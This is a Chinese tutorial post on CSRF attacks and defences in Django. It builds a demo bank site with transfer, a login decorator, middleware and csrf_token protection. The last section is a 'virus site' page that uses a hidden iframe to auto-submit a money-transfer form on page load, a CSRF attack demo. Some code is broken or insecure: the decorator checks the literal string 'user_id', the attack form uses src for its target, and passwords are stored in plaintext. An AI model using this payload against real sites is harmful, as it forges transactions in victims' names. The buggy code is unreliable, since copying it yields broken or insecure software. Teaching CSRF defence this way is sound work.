148.CSRF攻击原理分析、防御、装饰器、中间件、IFrame以及js实现csrf攻击

CSRF攻击概述:

CSRF(Cross Site Request Forgery 跨站域请求伪造)是一种网站攻击的方式,它在2007年曾被列为互联网20大安全隐患之一。其他的安全隐患,比如SQL脚本注入,跨站域脚本攻击等在近年来已经逐渐为众人熟知,很多网站也都针对他们进行了防御。然而,对于大多数人来说,CSRF还是很陌生的,Gmail在2007年底也存在csrf漏洞,从而被黑客攻击而使Gmail的用户造成巨大的损失。

CSRF攻击原理:

网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中,那么浏览器在访问这个cookie的服务器的时候,就会自动的携带cookie信息到服务器上去。那么这个时候就存在一个漏洞了,如果你访问了一个病毒网站或者是别有用心的网站,这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(比如ICBC的转账请求)。那么因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,从而就可以达到在用户不知情的情况下,给服务器发送一个请求(转账)。

防御CSRF攻击:

CSRF攻击的要点就是在向服务器发送请求的时候,相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求的情况下是用户发起的还是伪造的。这时候,我们可以在用户每次访问有表单的页面的时候,在网页源代码中加入一个随机的字符串叫做csrf_token,在cookie中也加入一个相同值的csrf_token字符串。以后给服务器发送请求的时候,必须在body中以及在cookie中都携带csrf_token,服务器只有检测到cookie中的csrf_token和body中csrf_token都相同,才认为这个请求是合法的。

实例

比如,我们要实现一个icbc网站注册、登录、退出登录、转账的功能。

(1)views.py文件中示例代码如下:
from django.shortcuts import render, redirect, reversefrom django.http import HttpResponse<!--定义类视图,导入View-->from django.views import View<!--导入我们定义的用户模型User-->from .models import User<!--导入定义的表单,可创建表单对象-->from .forms import SignupForm, SigninForm, TransferForm<!--导入django.contrib.messages可以在浏览器中显示错误信息以及级别-->from django.contrib import messages<!--导入F表达式,可以动态获取数据库中某字段的数据,而不执行sql语句,直接在原来的数据之上更新-->from django.db.models import F<!--1. 定义首页,直接返回一个html模板-->def index(request): return render(request,'index.html')<!--2. 定义一个注册的类视图-->class SignupView(View): <!--如果浏览器发送的是get请求,就返回一个注册的模板--> def get(self, request): return render(request, 'signup.html') <!--如果浏览器发送过来的是post请求,就通过表单验证数据的合法性--> def post(self, request): form = SignupForm(request.POST) if form.is_valid(): <!--合法的话,就将提交上来的数据保存到数据库中,并且重定向到登录界面--> form.save() return redirect(reverse('signin')) else: <!--不合法的话,就在控制台打印出错误信息,并且重定向到当前的注册界面--> print(form.errors.get_json_data()) return redirect(reverse('signup'))<!--2. 定义登录类视图-->class SigninView(View): <!--如果浏览器发送的是get请求,就返回登录界面的模板--> def get(self, request): return render(request,'signin.html') <!--如果浏览器发送的是post请求,就验证数据库中是否有与提交上来的数据相同的一条数据--> def post(self, request): form = SigninForm(request.POST) if form.is_valid(): username = form.cleaned_data.get('username') password = form.cleaned_data.get('password') email = form.cleaned_data.get('email') user = User.objects.get(username=username, password=password, email=email) <!--如果存在,就在cookie中设置一个session_id即为登录的用户的pk,并且重定向到转账界面--> if user: request.session['user_id'] = user.pk return redirect(reverse('transfer')) else: <!--如果不存在该用户,就重定向到注册界面--> return redirect(reverse('signup')) else: <!--如果表单中的信息没有得到验证,就打印出错误信息--> print(form.errors.get_json_data()) return HttpResponse('请确定输入的信息是否正确!')<!--3. 定义转账类视图-->class TransferView(View): <!--如果浏览器发送的是get请求,就返回转账的模板--> def get(self,request): return render(request, 'transfer.html') <!--如果浏览器发送的是post请求,首先通过表单验证数据是否合法--> def post(self, request): form = TransferForm(request.POST) context = { 'info': '转账成功!' } if form.is_valid(): email = form.cleaned_data.get('email') money = form.cleaned_data.get('money') user_id = request.session.get('user_id') user = User.objects.filter(pk=user_id).first() <!--如果可以在数据库中查找pk与cookie中的session_id相同的一条数据,就将该用户上的余额减去money--> <!--首先我们需要判断用户的余额是否大于提交的转账的money,只有大于等于money,我们才可以执行以下操作--> if user.balance >= money: user.balance -= money user.save() <!--并且将email为输入email的用户的余额加money--> <!--这里我们可以直接使用update()和F表达式,这样可以减少数据库的查询操作,提高查询效率--> User.objects.filter(email=email).update(balance=F('balance')+money) return render(request, 'transfer.html', context={'context': context}) else: <!--如果约小于money,就返回给用户余额不足--> return HttpResponse('余额不足!') else: <!--如果表单验证没有通过,就打印出错误信息--> print(form.errors.get_json_data()) <!--并且重定向到当前的转账界面--> return redirect(reverse('transfer'))<!--4. 定义退出登录类视图-->def Logout(request): # 其实,调用flush()方法的时候,首先会将cookie中的session_id中的内容清空,并不会直接删除在cookie记录的session_id, # 如果再次执行该函数就会将原来cookie中还保留的session_id 删除。 request.session.flush() context = { 'info': '成功退出登录', } return render(request, 'index.html', context={'context': context})
(2)urls.py文件中进行视图函数与url之间的映射,示例代码如下:
from django.urls import pathfrom front import viewsurlpatterns = [ path('', views.index, name='index'), path('signup/', views.SignupView.as_view(), name='signup'), path('signin/', views.SigninView.as_view(), name='signin'), path('transfer/', views.TransferView.as_view(), name='transfer'), path('logout/', views.Logout, name='logout'),]
(3)index.html(中国工商银行首页)中示例代码如下:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>ICBC</title></head><body><h1>中国工商银行首页</h1><ul> <li><a href="{% url 'signin' %}">登录</a></li> <li><a href="{% url 'signup' %}">注册</a></li> <li><a href="{% url 'logout' %}">退出登录</a></li> {{ context.info }}</ul></body></html>
(4)signup.html(注册界面)示例代码如下:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>ICBC</title></head><body><h1>中国工商银行注册界面</h1><form action="" method="post"><!--使用csrf_token标签,在浏览器加载的时候,可以自动生成一个csrf_token的input标签--> {% csrf_token %} <table> <tr> <td>用户名:</td> <td><input type="text" name="username"></td> </tr> <tr> <td>密码:</td> <td><input type="password" name="password"></td> </tr> <tr> <td>确认密码:</td> <td><input type="password" name="password_repeat"></td> </tr> <tr> <td>邮箱:</td> <td><input type="email" name="email"></td> </tr> <tr> <td></td> <td><input type="submit" value="提交"></td> </tr> <tr> <td></td> <td> <ul> {% for message in messages %} <li>{{ message }}</li> {% endfor %} </ul> </td> </tr> </table></form></body></html>
(5)signin.html(登录界面)示例代码如下:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>ICBC</title></head><body><h1>中国工商银行登录界面</h1><form action="" method="post"> {% csrf_token %} <table> <tr> <td>用户名:</td> <td><input type="text" name="username"></td> </tr> <tr> <td>密码:</td> <td><input type="password" name="password"></td> </tr> <tr> <td>邮箱:</td> <td><input type="email" name="email"></td> </tr> <tr> <td></td> <td><input type="submit" value="提交"></td> </tr> </table></form></body></html>
(6)transfer.html(转账界面)示例代码如下:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>ICBC</title></head><body><h1 style="margin: auto"> 中国工商银行转账界面</h1><form action="" method="post"> {% csrf_token %} <table> <tr> <td>转账给邮箱:</td> <td><input type="email" name="email"></td> </tr> <tr> <td>金额:</td> <td><input type="text" name="money"></td> </tr> <tr> <td></td> <td><input type="submit" value="提交"></td> </tr> </table></form>{{ context.info }}<ul> <button><a href="{% url 'logout' %}">退出登录</a></button></ul></body></html>
(7)User模型的定义,models.py文件中示例代码如下:
from django.db import modelsfrom django.core import validatorsclass User(models.Model): username = models.CharField(max_length=20) password = models.CharField(max_length=24, validators=[validators.MinLengthValidator(6)]) email = models.EmailField() balance = models.FloatField(default=0) # 余额 class Meta: db_table = 'user'
(8)定义表单验证我们使用post请求提交的信息,forms.py文件中示例代码如下:
from .models import Userfrom django import forms<!--定义注册表单的验证--><!--注意,这里继承的是Model.Form,而不是Form-->class SignupForm(forms.ModelForm): password_repeat = forms.CharField(max_length=24, min_length=6) class Meta: model = User fields = ['username', 'password','email'] <!--判断两个字段的值是否相同,可以通过重写类的clean()方法--> def clean(self): clean_data = super(SignupForm, self).clean() password = clean_data.get('password') password_repeat = clean_data.get('password_repeat') if password != password_repeat: raise forms.ValidationError('两次输入密码不一致!') <!--注意,如果用户的两次密码输入相同,一定要返回clean_data--> return clean_data<!--定义登录表单的验证-->class SigninForm(forms.ModelForm): class Meta: model = User fields = ['username', 'password', 'email']<!--定义转账表单的验证-->class TransferForm(forms.Form): email = forms.CharField(max_length=30) money = forms.FloatField()

==此时,该网站有一个小bug,就是在用户点击退出登录,或者是直接将浏览器中cookie中的session_id删除之后,同样可以访问转账的界面,这样的话,就有些不符合情理了。==

装饰器:实现没有登录不能访问转账的界面

(1)这个就可以使用装饰器来实现,自定义装饰器。可以在APP中创建一个python文件(decorators.py),定义装饰器函数,示例代码如下:
def login_decorator(func): def wrapper(request, *args, **kwargs): <!--首先,我们可以通过cookie的session中是否有user_id,来判断用户是否登录--> user_id = request.session.get('user_id') exists = User.objects.filter(pk='user_id').exists() if exists: return func(request, *args, **kwargs) else: return redirect(reverse('signin')) return wrapper
(2)在views.py中导入写好的装饰器,并且装饰到转账类视图上,示例代码如下:
<!--导入装饰类视图的函数method_decorator-->from django.utils.decorators import method_decorator<!--导入自定义的装饰器函数-->from .decorators import login_decorator<!--装饰转账类视图-->@method_decorator(login_decorator, name='dispatch')<!--直接在类视图之前添加上面一行代码就行-->class TransferView(View): def get(self,request): return render(request, 'transfer.html') def post(self, request): form = TransferForm(request.POST) context = { 'info': '转账成功!' } if form.is_valid(): email = form.cleaned_data.get('email') money = form.cleaned_data.get('money') user_id = request.session.get('user_id') user = User.objects.filter(pk=user_id).first() if user.balance >= money: user.balance -= money user.save() User.objects.filter(email=email).update(balance=F('balance')+money) return render(request, 'transfer.html', context={'context': context}) else: return HttpResponse('余额不足!') else: print(form.errors.get_json_data()) return redirect(reverse('transfer'))
(3)之后,如果不登录就访问转账的界面http://127.0.0.1:8001/transfer/,就会重定向到登录的界面,不允许用户在未登录的情况下访问转账界面。

中间件优化ICBC网站

在我们以上的代码中,多次进行判断cookie的session中是否存在user_id,从数据库中查找与user_id相同的pk。所以,我们可以将这个直接定义为一个中间件,直接将这样的用户定义为front_user,并且绑定在request上。在APP中创建一个middlewares.py文件,用来存放自定义的中间件的函数,示例代码如下:
from .models import Userdef front_user_middleware(get_response): print('front_user_middleware初始化执行的代码....') def middleware(request): print("request到达view视图之前执行的代码....") user_id = request.session.get('user_id') <!--注意,这里一定要先判断user_id的存在性之后,再从user表中查找user_id用户--> if user_id: try: user = User.objects.get(pk=user_id) request.front_user = user except: request.front_user = None else: request.front_user = None response = get_response(request) print('response到达浏览器之前执行的代码....') return response return middleware
之后,在项目的settings.py文件中的MIDDLEWARE添加我们自定义的中间件函数,规则为:appname.pythonfilename.functionname,front.middlewares.front_user_middleware。

IFrame相关知识

1. iframe可以加载嵌入别的域名下的网页。也就是说可以发送跨域请求。比如我可以在自己的网页中加载百度的网站,示例代码如下:
<iframe src="http://www.baidu.com/"></iframe>
2.因为iframe加载的是别的域名下的网页,根据同源策略,js只能操作属于本域名下的代码,因此,js不能操作通过iframe加载来的DOM元素。
3.如果iframe的src属性为空,那么就没有同源策略的限制,这时候我们就可以操作iframe下面的代码了。并且,如果src为空,那么我们可以在iframe中,给任何域名发送请求。
4.直接在iframe中写html代码,浏览器并不会加载。因此,我们可以先让网页加载html代码,之后执行js代码将html加载进入iframe向指定的url发送请求。

比如,我们现在可以创建一个新的项目,实现js操作iframe向我们的icbc银行网站发送一个转账给孤烟逐云(333333@qq.com)100元的请求,只是实现一个首页。

(1)views.py文件中示例代码如下:
from django.shortcuts import renderdef index(request): return render(request, 'index.html')
(2)urls.py文件中进行视图函数与url之间的映射,示例代码如下:
from django.urls import pathfrom .import viewsurlpatterns = [ path('', views.index, name='index'),]
(3)index.html代码如下:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>病毒网站</title> <script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script></head><body><img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%" height="100%"> <iframe src="" frameborder="" style="width:0; height: 0;" id="myframe"></iframe> <form src="http://127.0.0.1:8002/transfer/" method="post" id="myform"> <input type="text" name="email" value="333333@qq.com"> <input type="text" name="money" value="100"> </form> <script> window.onload = function() { $('#myframe').contents().find('html').html($('#myform')); $('#myframe').contents().find('html').children($('#myform')).submit(); } </script></body></html>
这个时候,如果我们登录的icbc网站转账的cookie中还保留有我们的信息,这个时候只要访问了我们定义的病毒网站的首页,我们登录的用户数据库中的余额就会少100元。当然了,进行这种csrf攻击的前提是我们在icbc网站的项目settings.py文件中没有开启中间件CsrfMiddleware。如果开启了该中间件,就不能进行这种csrf攻击了。

相关文章